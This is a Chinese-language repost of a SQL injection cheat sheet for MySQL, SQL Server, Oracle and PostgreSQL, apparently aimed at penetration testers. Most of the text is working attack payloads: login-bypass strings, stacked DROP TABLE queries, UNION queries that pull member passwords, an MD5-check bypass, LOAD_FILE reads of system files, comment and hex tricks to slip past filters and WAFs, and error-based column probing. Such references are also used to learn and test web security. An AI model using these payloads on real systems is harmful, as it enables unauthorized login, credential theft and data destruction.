SQL 注入速查表

ho1223 8年前發布 | 9K 次閱讀 SQL注入 SQL 移動開發

什么是 SQL 注入速查表？

SQL注入速查表是可以為你提供關于不同種類 SQL注入漏洞的詳細信息的一個資源。這份速查表對于經驗豐富的滲透測試人員，或者剛開始接觸 Web應用安全的初學者，都是一份很好的參考資料。

關于這份 SQL 注入速查表

這份 SQL 速查表最初是 2007 年時 Ferruh Mavituna 在他自己的博客上發布的。我們更新了它并將它移到了公司 CEO 的博客上。現在，這份速查表僅包含了 MySQL 、 SQL Server ，和有限的一些關于 Oracle 和 PostgerSQL 數據庫的信息。表中的部分示例可能無法在每一個場景都正常運行，因為真實使用的環境中，可能因為括號的使用、不同的代碼上下文以及出乎意料的、奇怪而復雜的 SQL 語句而有所差異。

示例提供給你關于潛在攻擊的基本思路，而且幾乎每節都包含有簡短的說明。

M：MySQL
S：SQL Server
P：PostgreSQL
O：Oracle
+：可能出現在其他所有數據庫

例如：

（MS）代表：MySQL 和 SQL Server 等
（M*S）代表：僅部分版本及有特殊說明的 MySQL，以及 SQLServer

目錄表

語法參考，攻擊樣例以及注入小技巧

（1）行間注釋

使用了行間注釋的 SQL 注入攻擊樣例

（2）行內注釋

經典的行內注釋注入攻擊樣例
MySQL 版本探測攻擊樣例

（3）堆疊查詢（Stacking Queries）

支持堆疊查詢的語言/數據庫
關于 MySQL 和 PHP
堆疊注入攻擊樣例

（4）If 語句

MySQL 的 If 語句
SQL Server 的 If 語句
If 語句的注入攻擊樣例

（5）使用整數（Integers）

（6）字符串操作

字符串的連結

（7）沒有引號的字符串

基于 16 進制的注入攻擊樣例

（8）字符串變體 & 相關知識

（9）Union 注入

UNION — 語言問題處理

（10）繞過登陸界面

（11）在SQL Server 2005 中啟用 xp_cmdshell

（12）探測 SQL Server 數據庫的結構

（13）從基于錯誤的 SQL 注入中快速提取數據的方法

（14）SQL 盲注

（15）掩蓋痕跡

（16）MySQL 的額外說明

（17）二階 SQL 注入

（18）帶外（OOB）頻道攻擊

語法參考、攻擊示例和注入小技巧

結束 / 注釋掉 / 行注釋

行間注釋

注釋掉查詢語句的其余部分

行間注釋通常用于忽略掉查詢語句的其余部分，這樣你就不用處理因為注入導致的語法變動。

— （SM）
```
DROPsampletable;--
```
# （M）
```
DROPsampletable;#
```

行間注釋的 SQL 注入攻擊示例

用戶名：admin’–

SELECT * FROMmembersWHEREusername = 'admin'--' AND password = 'password'

這會讓你以admin用戶身份登錄，因為其余部分的SQL語句被注釋掉了。

行內注釋

通過不關閉的注釋，注釋掉查詢語句的其余部分，或者用于 繞過黑名單過濾 、移除空格、迷惑和探測數據庫版本。

/*這里是注釋內容*/ （SM）
- DROP/*注釋*/sampletable
- DR/**/OP/*繞過過濾*/sampletable
- SELECT/*消除空格*/password/**/FROM/**/Members
</li>
/*! MYSQL 專有 SQL */ （M）

這是 MySQL 的專有語法。非常適合用來探測 MySQL 版本。如果你在注釋中寫入代碼，只有 MySQL 才會執行。你同樣可以使用這個方法，讓代碼只在服務器版本高于指定版本才執行。

SELECT /*!32302 1/0, */ 1 FROMtablename

經典的行內注釋 SQL 注入攻擊示例

ID: 10; DROPTABLEmembers /*

在查詢結尾簡單地去除其他內容。等同于 10; DROP TABLE members —

SELECT /*!32302 1/0, */ 1 FROMtablename

如果 MySQL 版本高于 23.02 會拋出一個除數為 0（division by 0）的錯誤

MySQL 版本探測攻擊示例

ID: /*!32302 10*/
ID: 10

如果 MySQL 的版本高于 23.02，執行上面兩個查詢你將得到相同的結果

SELECT /*!32302 1/0, */ 1 FROMtablename

如果 MySQL 版本高于 23.02 會拋出一個除數為 0（division by 0）的錯誤

堆疊查詢

在一個事務中執行多個查詢。這在每一個注入點都非常有用，尤其是后端使用了 SQL Server 的應用程序。

; （S）
```
SELECT * FROMmembers; DROPmembers--
```

結束一個查詢并開始一個新的查詢。

語言 / 數據庫堆疊查詢支持表

綠色：支持； 深灰色 ：不支持； 淺灰色 ：未知

關于 MySQL 和 PHP

闡明一些問題

PHP – MySQL 不支持堆疊查詢， Java 不支持堆疊查詢（Oracle 我很確定，其他的就不太確定了）。通常來說 MySQL 支持堆疊查詢，但在 PHP – MySQL 應用程序中大多數配置下的數據庫層都不能執行第二條查詢，也許 MySQL 客戶端支持這個，我并不是很確定。有人能說明下嗎？

堆疊注入攻擊示例

ID: 10;DROP members —

SELECT * FROMproductsWHEREid = 10; DROPmembers--

這在正常SQL查詢執行后將會執行 DROP members 語句。

If語句

根據If語句得到響應。這是盲注（Blind SQL Injection）的關鍵點之一，在盲注和精確的簡單測試中都非常有用。

MySQL 的 If 語句

IF( condition , true-part , false-part )（M）

SELECTIF(1=1,'true','false')

SQL Server 的 If 語句

IF condition true-part ELSE false-part （S）

IF (1=1) SELECT 'true' ELSE SELECT 'false'

Oracle 的 If 語句

BEGIN

IF condition THEN true-part ; ELSE false-part ; END IF; END;（O）

IF (1=1) THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END;

PostgreSQL 的 If 語句

SELECT CASE WHEN condition THEN true-part ELSE false-part END;（P）

SELECTCASE WEHEN (1=1) THEN 'A' ELSE 'B'END;

If 語句的 SQL 注入攻擊示例

if ((selectuser) = 'sa' OR (selectuser) = 'dbo') select 1 else select 1/0 (S)

如果當前登錄的用戶不是 ”sa” 或 “dbo”，語句會拋出除數為0 的錯誤。

整數的使用

對于繞過非常有用，如 magic_quotes() 和類似的過濾器，甚至是各種WAF。

0x HEXNUMBER （SM）

你可以這樣使用 16 進制數。

SELECTCHAR(0x66)（S）
SELECT 0x5045 （這不是一個整數，而會是一個 16 進制字符串）（M）
SELECT 0x50 + 0x45 （現在這個是整數了！）（M）

字符串操作

字符串相關的操作。這些對于構造不含引號、繞過黑名單或探測后端數據庫的注入非常有用。

字符串的連結

+ （S）

SELECTlogin + '-' + passwordFROMmembers

|| （*MO）

SELECTlogin || '-' || passwordFROMmembers

* 關于 MySQL 的 “||”

僅當 MySQL 在 ANSI 模式下這（指 “||” 符號）才會執行，其他模式下 MySQL 會當成邏輯運算符并返回 0。更好的方式是使用 MySQL 的 CONCAT() 函數。

CONCAT(str1, str2, str3, …) （M）

連接參數里提供的字符串。
```
SELECTCONCAT(login, password) FROMmembers
```

沒有引號的字符串

有一些直接的方式可以使用字符串，但通常更合適的是使用 CHAR() （MS）和 CONCAT() （M）來生成無引號的字符串。

0x457578 （M） - 字符串的 16 進制表示
SELECT 0x457578
這在 MySQL 中會被當做字符串處理。在 MySQL 中更簡單地生成 16 進制字符串的方式是使用下面這個方法：
SELECTCONCAT('0x',HEX('c:boot.ini'))

在 MySQL 中使用 CONCAT() 函數
SELECTCONCAT(CHAR(75),CHAR(76),CHAR(77)) （M）
這會返回‘KLM’。

SELECTCHAR(75)+CHAR(76)+CHAR(77) (S)
這會返回‘KLM’。

SELECTCHR(75)||CHR(76)||CHR(77) (O)
這會返回‘KLM’。

SELECT (CHaR(75)||CHaR(76)||CHaR(77)) (P)
 
這會返回‘KLM’。

基于 16 進制的 SQL 注入示例

SELECTLOAD_FILE(0x633A5C626F6F742E696E69) （M）

這會顯示 c:boot.ini 的內容

字符串變體 & 相關知識

ASCII() （SMP）
返回最左邊字符的ASCII碼的值。這是盲注的一個必備函數。SELECT ASCII(‘a’)
CHAR() （SM）
將一個整數轉換為對應的ASCII值。SELECT CHAR(64)

Union注入

通過union你能跨表執行 SQL 查詢。基本上你可以污染（注入）查詢使它返回另一個表的記錄。

SELECTheader, txtFROMnewsUNIONALLSELECTname, passFROMmembers

這個查詢會聯結并返回 news 表和 members 表的所有記錄。

另一個例子：

' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--

UNION – 語言問題處理

當你使用 Union 注入的時候，有時會遇到錯誤，因為不同語言的設置（表的設置、字段的設置、表或數據庫的聯結設置等等），下面這些函數對于解決以上問題很有用。這樣的問題比較少見，但當你處理例如日文、俄文、土耳其文或其他類似的應用程序時，你就會發現了。

SQL Server （S）

使用 COLLATE SQL_Latin1_General_Cp1254_CS_AS 或其他有效的方式 – 具體信息可以查看 SQL Server 的文檔。

SELECTheaderFROMnewsUNIONALLSELECTnameCOLLATESQL_Latin1_General_Cp1254_CS_ASFROMmembers

MySQL （M）

Hex() 基本上可以解決所有出現的問題。

繞過登錄界面（SMO+）

SQL 注入入門指引，登錄小技巧

admin’ —
admin’ #
admin’/*
‘ or 1=1–
‘ or 1=1#
‘ or 1=1/*
‘) or ‘1’=’1–
‘) or (‘1’=’1–
….
以不同的用戶登錄（SM*）
‘ UNION SELECT 1, ‘anotheruser’, ‘doesnt matter’, 1–

* 舊版本的 MySQL 不支持 union 查詢

繞過檢查 MD5 哈希的登錄界面

如果應用是先通過用戶名獲取記錄，然后再把返回的 MD5 值與你輸入的密碼的 MD5 進行比較，那么你就需要一些額外的技巧欺騙應用來繞過驗證了。你可以將一個已知明文的 MD5 哈希和它的明文一起提交，這種情況下，應用會比較你的密碼和你提供的 MD5 值，而不是從數據庫獲取的 MD5。

繞過 MD5 檢查的例子 （MSP）

Username : admin
Password : 1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
 
81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)

基于錯誤 – 探測列名

使用 HAVING 探測列名 – 基于錯誤 （S）

順序不分先后

‘ HAVING 1=1 —
‘ GROUP BY columnfromerror1 HAVING 1=1 —
‘ GROUP BY columnfromerror1, columnfromerror2 HAVING 1=1 —
‘ GROUP BY columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 — and so on
直到不再報錯就完成了。

在 SELECT 查詢中使用 ORDER BY 探測有多少個列（ MSO+）

通過 ORDER BY 探測列數可以加快 UNION 注入的進度。

ORDER BY 1–
ORDER BY 2–
ORDER BY N– so on
持續操作直到出現錯誤，報錯時使用的數字就是列數了。

數據類型、UNION 等

提示：

在使用 UNION 時總是搭配上 ALL，因為會存在相同值的字段，而缺省情況下，Union 都會嘗試返回非重復的記錄。
在查詢的開始處，可以使用 -1 或者其他不存在的值來去除左側表中非必須的記錄（前提是注入點在 WHERE 語句里）。如果你一次只想取得一條記錄，這是非常關鍵的點。
在對大多數數據類型的 UNION 注入中使用 NULL 代替猜測它是字符串、日期、整數等類型。
- 盲注的情況下，要注意判斷錯誤時來自數據庫還是來自應用程序本身。因為像 ASP.NET 或有其他語言，通常在使用 NULL 值的時候會拋出錯誤（因為開發者們一般沒有想過用戶名字段會出現 NULL）
</li> </ul>
獲取列類型
- ‘ union select sum( columntofind ) from users — （S）
  Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
  [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument. 如果沒有返回錯誤說明字段是數字類型（numeric） .
- 你也可以使用 CAST() 或者 CONVERT()
  - SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL–
  </li>
- 11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –-
  沒有錯誤 – 語法是對的。這是 MS SQL Server 的語法。繼續。
- 11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –-
  沒有錯誤 – 第一列是 integer 類型。
- 11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 —
  錯誤！ – 第二列不是 integer 類型。
- 11223344) UNION SELECT 1,’2’,NULL,NULL WHERE 1=2 –-
  沒有錯誤 – 第二列是 string 類型。
- 11223344) UNION SELECT 1,’2’,3,NULL WHERE 1=2 –-
  報錯！ – 第三列不是 integer 類型。
- …Microsoft OLE DB Provider for SQL Server error ‘80040e07’
  Explicit conversion from data type int to image is not allowed.

本文由用戶 ho1223 自行上傳分享，僅供網友學習交流。所有權歸原作者，若您的權利被侵害，請聯系管理員。

轉載本站原創文章，請注明出處，并保留原始鏈接、圖片水印。

本站是一個以用戶分享為主的開源技術平臺，歡迎各類分享！

本文地址：http://www.baiduhome.net/lib/view/open1474939468577.html

SQL注入 SQL 移動開發

SQL 注入速查表

什么是 SQL 注入速查表？

關于這份 SQL 注入速查表

目錄表

語法參考、攻擊示例和注入小技巧

結束 / 注釋掉 / 行注釋

堆疊查詢

If語句

整數的使用

字符串操作

沒有引號的字符串

字符串變體 & 相關知識

Union注入

繞過登錄界面（SMO+）

在 SQL Server 中啟用 xp_cmdshell

探測 SQL Server 數據庫的結構（S）

從基于錯誤的 SQL 注入中快速提取數據的方法（S）

SQL 盲注

掩蓋痕跡

MySQL 的額外說明

二階 SQL 注入

帶外攻擊

參考資料

相關經驗

相關資訊

相關文檔

目錄